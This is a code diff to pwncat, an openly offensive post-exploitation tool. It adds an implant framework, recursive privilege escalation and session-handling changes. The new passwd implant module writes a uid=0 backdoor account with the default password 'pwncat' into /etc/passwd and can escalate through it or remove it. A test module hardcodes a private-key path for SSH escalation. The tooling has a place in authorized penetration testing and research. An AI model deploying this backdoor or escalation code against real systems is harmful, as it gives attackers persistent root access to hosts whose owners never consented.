diff --git a/data/pwncatrc b/data/pwncatrc index cc65d6d..c5ac0ad 100644 --- a/data/pwncatrc +++ b/data/pwncatrc @@ -7,7 +7,7 @@ set -g privkey "data/pwncat" # Set the pwncat backdoor user and password set -g backdoor_user "pwncat" set -g backdoor_pass "pwncat" -set -g db "memory://" +set -g db "file://db/pwncat" set -g on_load { # Run a command upon a stable connection diff --git a/pwncat/channel/ssh.py b/pwncat/channel/ssh.py index 90631d7..d36c7b7 100644 --- a/pwncat/channel/ssh.py +++ b/pwncat/channel/ssh.py @@ -81,11 +81,18 @@ class Ssh(Channel): chan = t.open_session() chan.get_pty() chan.invoke_shell() + chan.setblocking(0) self.client = chan self.address = (host, port) + self._connected = True + + @property + def connected(self): + return self._connected def close(self): + self._connected = False self.client.close() def send(self, data: bytes): @@ -119,6 +126,11 @@ class Ssh(Channel): else: data = b"" - data += self.client.recv(count - len(data)) + try: + data += self.client.recv(count - len(data)) + if data == b"": + raise ChannelClosed(self) + except socket.timeout: + pass return data diff --git a/pwncat/commands/escalate.py b/pwncat/commands/escalate.py index 68ff1cd..e6fbfb2 100644 --- a/pwncat/commands/escalate.py +++ b/pwncat/commands/escalate.py @@ -67,10 +67,21 @@ class Command(CommandDefinition): PROG = "escalate" ARGS = { "command": Parameter( - Complete.CHOICES, metavar="COMMAND", choices=["list", "run"] + Complete.CHOICES, + metavar="COMMAND", + choices=["list", "run"], + help="The action to take (list/run)", ), "--user,-u": Parameter( - Complete.CHOICES, metavar="USERNAME", choices=get_user_choices + Complete.CHOICES, + metavar="USERNAME", + choices=get_user_choices, + help="The target user for escalation.", + ), + "--recursive,-r": Parameter( + Complete.NONE, + action="store_true", + help="Attempt recursive escalation through multiple users", ), } @@ -93,7 +104,7 @@ class Command(CommandDefinition): with manager.target.task( f"escalating to [cyan]{args.user.name}[/cyan]" ) as task: - self.do_escalate(manager, task, args.user) + self.do_escalate(manager, task, args.user, args) def list_abilities(self, manager, args): """This is just a wrapper for `run enumerate types=escalate.*`, but @@ -117,7 +128,7 @@ class Command(CommandDefinition): elif not found: console.log("[yellow]warning[/yellow]: no direct escalations found") - def do_escalate(self, manager: "pwncat.manager.Manager", task, user): + def do_escalate(self, manager: "pwncat.manager.Manager", task, user, args): """ Execute escalations until we find one that works """ attempted = [] @@ -154,7 +165,7 @@ class Command(CommandDefinition): # Attempt escalation directly to the target user if possible for escalation in (e for e in escalations if e.uid == user.id): try: - manager.target.update_task( + original_session.update_task( task, status=f"attempting {escalation.title(manager.target)}" ) result = escalation.escalate(manager.target) @@ -181,10 +192,16 @@ class Command(CommandDefinition): except ModuleFailed: failed.append(e) + if not args.recursive: + manager.target.log( + f"[red]error[/red]: no working direct escalations to {user.name}" + ) + return + # Attempt escalation to a different user and recurse for escalation in (e for e in escalations if e.uid != user.id): try: - manager.target.update_task( + original_session.update_task( task, status=f"attempting {escalation.title(manager.target)}" ) result = escalation.escalate(manager.target) diff --git a/pwncat/commands/sessions.py b/pwncat/commands/sessions.py index f8c1af0..39112b7 100644 --- a/pwncat/commands/sessions.py +++ b/pwncat/commands/sessions.py @@ -40,19 +40,27 @@ class Command(CommandDefinition): if args.list or (not args.kill and args.session_id is None): table = Table(title="Active Sessions", box=box.MINIMAL_DOUBLE_HEAD) - table.add_column("Active") - table.add_column("ID") + table.add_column("") + table.add_column("User") + table.add_column("Host ID") table.add_column("Platform") table.add_column("Type") table.add_column("Address") - for session in manager.sessions: + for ident, session in enumerate(manager.sessions): + ident = str(ident) + kwargs = {"style": ""} + if session is manager.target: + ident = "*" + ident + kwargs["style"] = "underline" table.add_row( - str(session == manager.target), - str(session.host), + str(ident), + session.current_user().name, + str(session.hash), session.platform.name, str(type(session.platform.channel).__name__), str(session.platform.channel), + **kwargs, ) console.print(table) @@ -63,20 +71,17 @@ class Command(CommandDefinition): console.log("[red]error[/red]: no session id specified") return - session = None - for s in manager.sessions: - if s.host == args.session_id: - session = s - break - else: - console.log(f"[red]error[/red]: {args.session_id}: no such active session") - return + if args.session_id < 0 or args.session_id >= len(manager.sessions): + console.log(f"[red]error[/red]: {args.session_id}: no such session!") + + session = manager.sessions[args.session_id] if args.kill: + channel = str(session.platform.channel) session.platform.channel.close() session.died() - console.log(f"session {session.host} closed") + console.log(f"session-{args.session_id} ({channel}) closed") return manager.target = session - console.log(f"targeting session {session.host}") + console.log(f"targeting session-{args.session_id} ({session.platform.channel})") diff --git a/pwncat/facts/__init__.py b/pwncat/facts/__init__.py index c485bb8..d98d2e8 100644 --- a/pwncat/facts/__init__.py +++ b/pwncat/facts/__init__.py @@ -6,6 +6,7 @@ from pwncat.db import Fact from persistent.list import PersistentList from pwncat.facts.ability import * from pwncat.facts.escalate import * +from pwncat.facts.implant import * class Group(Fact): diff --git a/pwncat/facts/implant.py b/pwncat/facts/implant.py new file mode 100644 index 0000000..a14fca2 --- /dev/null +++ b/pwncat/facts/implant.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python3 +import enum + +from pwncat.db import Fact + + +class ImplantType(enum.Flag): + SPAWN = enum.auto() + REPLACE = enum.auto() + REMOTE = enum.auto() + + +class Implant(Fact): + """ An installed implant """ + + def __init__(self, source, typ, uid): + + types = [] + if ImplantType.SPAWN in typ: + types.append("implant.spawn") + if ImplantType.REPLACE in typ: + types.append("implant.replace") + if ImplantType.REMOTE in typ: + types.append("implant.remote") + + super().__init__(source=source, types=types) + + self.uid = uid + + def escalate(self, session: "pwncat.manager.Session"): + """Escalate to the target user locally. Only valid for spawn or + replace implants.""" + raise NotImplementedError() + + def trigger(self, target: "pwncat.target.Target"): + """Trigger this implant for remote connection as the target user. + This is only valid for remote implants.""" + + def remove(self, session: "pwncat.manager.Session"): + """ Remove this implant from the target """ diff --git a/pwncat/manager.py b/pwncat/manager.py index 9919e1f..11e7bfb 100644 --- a/pwncat/manager.py +++ b/pwncat/manager.py @@ -436,7 +436,7 @@ class Manager: def print(self, *args, **kwargs): - if self.target is not None: + if self.target is not None and self.target._progress is not None: self.target._progress.print(*args, **kwargs) else: console.print(*args, **kwargs) diff --git a/pwncat/modules/agnostic/implant.py b/pwncat/modules/agnostic/implant.py new file mode 100644 index 0000000..6e54b94 --- /dev/null +++ b/pwncat/modules/agnostic/implant.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 + +from rich.prompt import Prompt + +from pwncat.modules import BaseModule, Argument, Status, Bool, ModuleFailed +from pwncat.facts import Implant +from pwncat.util import console + + +class Module(BaseModule): + """Interact with installed implants in an open session. This module + provides the ability to remove implants as well as manually escalate + with a given implant. Implants implementing local escalation will + automatically be picked up by the `escalate` command, however this + module provides an alternative way to trigger escalation manually.""" + + PLATFORM = None + """ No platform restraints """ + ARGUMENTS = { + "remove": Argument(Bool, default=False, help="remove installed implants"), + "escalate": Argument( + Bool, default=False, help="escalate using an installed local implant" + ), + } + + def run(self, session, remove, escalate): + """ Perform the requested action """ + + if (not remove and not escalate) or (remove and escalate): + raise ModuleFailed("expected one of escalate or remove") + + # Look for matching implants + implants = list( + implant + for implant in session.run("enumerate", types=["implant.*"]) + if not escalate + or "implant.replace" in implant.types + or "implant.spawn" in implant.types + ) + + try: + session._progress.stop() + + console.print("Found the following implants:") + for i, implant in enumerate(implants): + console.print(f"{i+1}. {implant.title(session)}") + + if remove: + prompt = "Which should we remove (e.g. '1 2 4', default: all)? " + elif escalate: + prompt = "Which should we attempt escalation with (e.g. '1 2 4', default: all)? " + + while True: + selections = Prompt.ask(prompt, console=console) + if selections == "": + break + + try: + implant_ids = [int(idx.strip()) for idx in selections] + # Filter the implants + implants: List[Implant] = [implants[i - 1] for i in implant_ids] + break + except (IndexError, ValueError): + console.print("[red]error[/red]: invalid selection!") + + finally: + session._progress.start() + + nremoved = 0 + + for implant in implants: + if remove: + try: + yield Status(f"removing: {implant.title(session)}") + implant.remove(session) + session.target.facts.remove(implant) + nremoved += 1 + except ModuleFailed as exc: + session.log( + f"[red]error[/red]: removal failed: {implant.title(session)}" + ) + elif escalate: + try: + yield Status( + f"attempting escalation with: {implant.title(session)}" + ) + result = implant.escalate(session) + + if "implant.spawn" in implant.types: + # Move to the newly established session + session.manager.target = result + else: + # Track the new shell layer in the current session + session.layers.append(result) + + session.log( + f"escalation [green]succeeded[/green] with: {implant.title(session)}" + ) + break + except ModuleFailed: + continue + else: + if escalate: + raise ModuleFailed("no working local escalation implants found") + + if nremoved: + session.log(f"removed {nremoved} implants from target") + + # Save database modifications + session.db.transaction_manager.commit() diff --git a/pwncat/modules/agnostic/persist/__init__.py b/pwncat/modules/agnostic/persist/__init__.py index 806ae7d..fd99f84 100644 --- a/pwncat/modules/agnostic/persist/__init__.py +++ b/pwncat/modules/agnostic/persist/__init__.py @@ -22,7 +22,7 @@ def host_type(ident: str): return ident -class PersistModule(BaseModule): +class ImplantModule(BaseModule): """ Base class for all persistence modules. diff --git a/pwncat/modules/implant.py b/pwncat/modules/implant.py new file mode 100644 index 0000000..da19651 --- /dev/null +++ b/pwncat/modules/implant.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +from typing import List + +from rich.prompt import Prompt + +from pwncat.modules import Bool, Status, Argument, BaseModule, ModuleFailed +from pwncat.util import console +from pwncat.facts import Implant, ImplantType + + +class ImplantModule(BaseModule): + """ + Base class for all persistence modules. + + Persistence modules should inherit from this class, and implement + the ``install``, ``remove``, and ``escalate`` methods. All modules must + take a ``user`` argument. If the module is a "system" module, and + can only be installed as root, then an error should be raised for + any "user" that is not root. + + If you need your own arguments to a module, you can define your + arguments like this: + + .. code-block:: python + + ARGUMENTS = { + **PersistModule.ARGUMENTS, + "your_arg": Argument(str) + } + + All arguments **must** be picklable. They are stored in the database + as a SQLAlchemy PickleType containing a dictionary of name-value + pairs. + + """ + + """ Defines where this implant module is useful (either remote + connection or local escalation or both). This also identifies a + given implant module as applying to "all users" """ + ARGUMENTS = {} + """ The default arguments for any persistence module. If other + arguments are specified in sub-classes, these must also be + included to ensure compatibility across persistence modules. """ + COLLAPSE_RESULT = True + """ The ``run`` method returns a single scalar value even though + it utilizes a generator to provide status updates. """ + + def run(self, session: "pwncat.manager.Session", remove, escalate, **kwargs): + """This method should not be overriden by subclasses. It handles all logic + for installation, escalation, connection, and removal. The standard interface + of this method allows abstract interactions across all persistence modules.""" + + yield Status(f"installing implant") + implant = self.install(session, **kwargs) + + # Register the installed implant as an enumerable fact + session.register_fact(implant) + + # Update the database + session.db.transaction_manager.commit() + + # Return the implant + return implant + + def install(self, **kwargs): + """ + Install the implant on the target host and return a new implant instance. + The implant will be automatically added to the database. Arguments aside + from `remove` and `escalate` are passed directly to the install method. + + :param user: the user to install persistence as. In the case of ALL_USERS persistence, this should be ignored. + :type user: str + :param kwargs: Any custom arguments defined in your ``ARGUMENTS`` dictionary. + :raises ModuleFailed: installation failed. + """ + raise NotImplementedError diff --git a/pwncat/modules/linux/enumerate/escalate/append_passwd.py b/pwncat/modules/linux/enumerate/escalate/append_passwd.py index 72b83d7..db3ead4 100644 --- a/pwncat/modules/linux/enumerate/escalate/append_passwd.py +++ b/pwncat/modules/linux/enumerate/escalate/append_passwd.py @@ -7,6 +7,8 @@ from pwncat.modules import ModuleFailed from pwncat.facts.tamper import ReplacedFile from pwncat.platform.linux import Linux from pwncat.modules.enumerate import Schedule, EnumerateModule +from pwncat.modules.linux.implant.passwd import PasswdImplant +from pwncat.facts import ImplantType class AppendPasswd(EscalationReplace): @@ -36,23 +38,22 @@ class AppendPasswd(EscalationReplace): # Add our password saved_content = "".join(passwd_contents) - passwd_contents.append( - f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}""" - ) + new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" + passwd_contents.append(new_line) try: # Write the modified password entry back with self.ability.open(session, "/etc/passwd", "w") as filp: filp.writelines(passwd_contents) - filp.write("\n") # Ensure we track the tampered file session.register_fact( - ReplacedFile( - source=self.source, - uid=0, - path="/etc/passwd", - data=saved_content, + PasswdImplant( + "linux.implant.passwd", + ImplantType.REPLACE, + backdoor_user, + backdoor_pass, + new_line, ) ) except (FileNotFoundError, PermissionError): diff --git a/pwncat/modules/linux/enumerate/escalate/test_ssh.py b/pwncat/modules/linux/enumerate/escalate/test_ssh.py new file mode 100644 index 0000000..24d2658 --- /dev/null +++ b/pwncat/modules/linux/enumerate/escalate/test_ssh.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python3 + +from pwncat.facts import EscalationSpawn +from pwncat.channel import ChannelError +from pwncat.modules import ModuleFailed +from pwncat.modules.enumerate import Schedule, EnumerateModule +from pwncat.platform.linux import Linux + + +class TestNewSSHSession(EscalationSpawn): + """ Escalation via SSH as root """ + + def __init__(self, source): + super().__init__(source=source, source_uid=1000, uid=1001) + + def escalate(self, session: "pwncat.manager.Manager") -> "pwncat.manager.Session": + + try: + new_session = session.manager.create_session( + "linux", + host="pwncat-ubuntu", + user="john", + identity="/home/caleb/.ssh/id_rsa", + ) + except ChannelError as exc: + raise ModuleFailed(str(exc)) from exc + + return new_session + + def title(self, session): + return "ssh to [cyan]pwncat-ubuntu[cyan] as [blue]john[/blue]" + + +class Module(EnumerateModule): + """ Test enumeration to provide a EscalationSpawn fact """ + + PROVIDES = ["escalate.spawn"] + SCHEDULE = Schedule.ONCE + PLATFORM = [Linux] + + def enumerate(self, session): + yield TestNewSSHSession(self.name) diff --git a/pwncat/modules/linux/enumerate/file/suid.py b/pwncat/modules/linux/enumerate/file/suid.py index 636d368..feb8901 100644 --- a/pwncat/modules/linux/enumerate/file/suid.py +++ b/pwncat/modules/linux/enumerate/file/suid.py @@ -66,19 +66,22 @@ class Module(EnumerateModule): ) facts = [] - with proc.stdout as stream: - for path in stream: - # Parse out owner ID and path - original_path = path - path = path.strip().split(" ") - uid, path = int(path[0]), " ".join(path[1:]) + try: + with proc.stdout as stream: + for path in stream: + # Parse out owner ID and path + original_path = path + path = path.strip().split(" ") + uid, path = int(path[0]), " ".join(path[1:]) - fact = Binary(self.name, path, uid) - yield fact + fact = Binary(self.name, path, uid) + yield fact - yield from ( - build_gtfo_ability( - self.name, uid, method, source_uid=None, suid=True + yield from ( + build_gtfo_ability( + self.name, uid, method, source_uid=None, suid=True + ) + for method in session.platform.gtfo.iter_binary(path) ) - for method in session.platform.gtfo.iter_binary(path) - ) + finally: + proc.wait() diff --git a/pwncat/modules/linux/implant/__init__.py b/pwncat/modules/linux/implant/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pwncat/modules/linux/implant/passwd.py b/pwncat/modules/linux/implant/passwd.py new file mode 100644 index 0000000..c681f1d --- /dev/null +++ b/pwncat/modules/linux/implant/passwd.py @@ -0,0 +1,111 @@ +#!/usr/bin/env python3 +import crypt + +from pwncat.facts import Implant, ImplantType +from pwncat.modules.implant import ImplantModule +from pwncat.platform.linux import Linux +from pwncat.modules import ModuleFailed, Argument + + +class PasswdImplant(Implant): + """ Implant tracker for a user added directly to /etc/passwd """ + + def __init__(self, source, implant_type, user, password, added_line): + super().__init__(source=source, typ=implant_type, uid=0) + + self.user = user + self.password = password + self.added_line = added_line + + def escalate(self, session: "pwncat.manager.Session"): + """ Escalate privileges to the fake root account """ + + try: + session.platform.su(self.user, password=self.password) + return lambda session: session.platform.channel.send(b"exit\n") + except PermissionError: + raise ModuleFailed(f"authentication as {self.user} failed") + + def remove(self, session: "pwncat.manager.Session"): + """ Remove the added line """ + + if session.platform.getuid() != 0: + raise ModuleFailed("removal requires root privileges") + + try: + with session.platform.open("/etc/passwd", "r") as filp: + passwd_contents = [line for line in filp if line != self.added_line] + except (FileNotFoundError, PermissionError) as filp: + raise ModuleFailed("failed to read /etc/passwd") + + try: + with session.platform.open("/etc/passwd", "w") as filp: + filp.writelines(passwd_contents) + except (FileNotFoundError, PermissionError) as filp: + raise ModuleFailed("failed to write /etc/passwd") + + def title(self, session: "pwncat.manager.Session"): + return f"""[blue]{self.user}[/blue]:[red]{self.password}[/red] added to [cyan]/etc/passwd[/cyan] w/ uid=0""" + + +class Module(ImplantModule): + """ Add a user to /etc/passwd with a known password and UID/GID of 0. """ + + TYPE = ImplantType.REPLACE + PLATFORM = [Linux] + ARGUMENTS = { + **ImplantModule.ARGUMENTS, + "backdoor_user": Argument( + str, default="pwncat", help="name of new uid=0 user (default: pwncat)" + ), + "backdoor_pass": Argument( + str, default="pwncat", help="password for new user (default: pwncat)" + ), + "shell": Argument( + str, default="current", help="shell for new user (default: current)" + ), + } + + def install( + self, + session: "pwncat.manager.Session", + backdoor_user, + backdoor_pass, + shell, + ): + """ Add the new user """ + + if session.current_user().id != 0: + raise ModuleFailed("installation required root privileges") + + if shell == "current": + shell = session.platform.getenv("SHELL") + if shell is None: + shell = "/bin/sh" + + try: + with session.platform.open("/etc/passwd", "r") as filp: + passwd_contents = list(filp) + except (FileNotFoundError, PermissionError): + raise ModuleFailed("faild to read /etc/passwd") + + # Hash the password + backdoor_hash = crypt.crypt(backdoor_pass, crypt.METHOD_SHA512) + + # Store the new line we are adding + new_line = f"""{backdoor_user}:{backdoor_hash}:0:0::/root:{shell}\n""" + + # Add the new line + passwd_contents.append(new_line) + + try: + # Write the new contents + with session.platform.open("/etc/passwd", "w") as filp: + filp.writelines(passwd_contents) + + # Return an implant tracker + return PasswdImplant( + self.name, ImplantType.REPLACE, backdoor_user, backdoor_pass, new_line + ) + except (FileNotFoundError, PermissionError): + raise ModuleFailed("failed to write /etc/passwd") diff --git a/pwncat/platform/linux.py b/pwncat/platform/linux.py index 72a910a..264cb95 100644 --- a/pwncat/platform/linux.py +++ b/pwncat/platform/linux.py @@ -45,6 +45,7 @@ class PopenLinux(pwncat.subprocess.Popen): self.start_delim: bytes = start_delim self.end_delim: bytes = end_delim self.code_delim: bytes = code_delim + self.args = args # Create a reader-pipe if stdout == pwncat.subprocess.PIPE: @@ -94,6 +95,9 @@ class PopenLinux(pwncat.subprocess.Popen): if self.stdout_raw is not None: self.stdout_raw.close() + # Hope they know what they're doing... + self.platform.command_running = None + def poll(self): if self.returncode is not None: @@ -191,6 +195,7 @@ class PopenLinux(pwncat.subprocess.Popen): # Kill the process (SIGINT) self.platform.channel.send(util.CTRL_C * 2) self.returncode = -1 + self.platform.command_running = None def terminate(self): @@ -200,6 +205,7 @@ class PopenLinux(pwncat.subprocess.Popen): # Terminate the process (SIGQUIT) self.platform.channel.send(b"\x1C\x1C") self.returncode = -1 + self.platform.command_running = None def _receive_returncode(self): """All output has been read of the stream, now we read @@ -210,6 +216,9 @@ class PopenLinux(pwncat.subprocess.Popen): code = code.split(self.code_delim)[0] code = code.strip().decode("utf-8") + # This command has finished + self.platform.command_running = None + try: self.returncode = int(code) except ValueError: @@ -464,6 +473,7 @@ class Linux(Platform): # Name of this platform. This stored in the database and used # to match modules to this platform. self.name = "linux" + self.command_running = None # This causes an stty to be sent. # If we aren't in a pty, it doesn't matter. @@ -682,6 +692,9 @@ class Linux(Platform): """Retrieve the current user ID""" try: + # NOTE: this is probably not great... but sometimes it fails when transitioning + # states, and I can't pin down why. The second time normally succeeds, and I've + # never observed it hanging for any significant amount of time. proc = self.run(["id", "-ru"], capture_output=True, text=True, check=True) return int(proc.stdout.rstrip("\n")) except CalledProcessError as exc: @@ -777,6 +790,11 @@ class Linux(Platform): else: raise ValueError("expected a command string or list of arguments") + if self.command_running is not None: + raise PlatformError( + f"attempting to run {repr(command)} during execution of {self.command_running.args}!" + ) + if shell: # Ensure this works normally command = shlex.join(["/bin/sh", "-c", command]) @@ -843,7 +861,7 @@ class Linux(Platform): # Log the command self.logger.info(command.decode("utf-8")) - return PopenLinux( + popen = PopenLinux( self, args, stdout, @@ -856,6 +874,9 @@ class Linux(Platform): end_delim.encode("utf-8") + b"\n", code_delim.encode("utf-8") + b"\n", ) + self.command_running = popen + + return popen def chdir(self, path: Union[str, Path]): """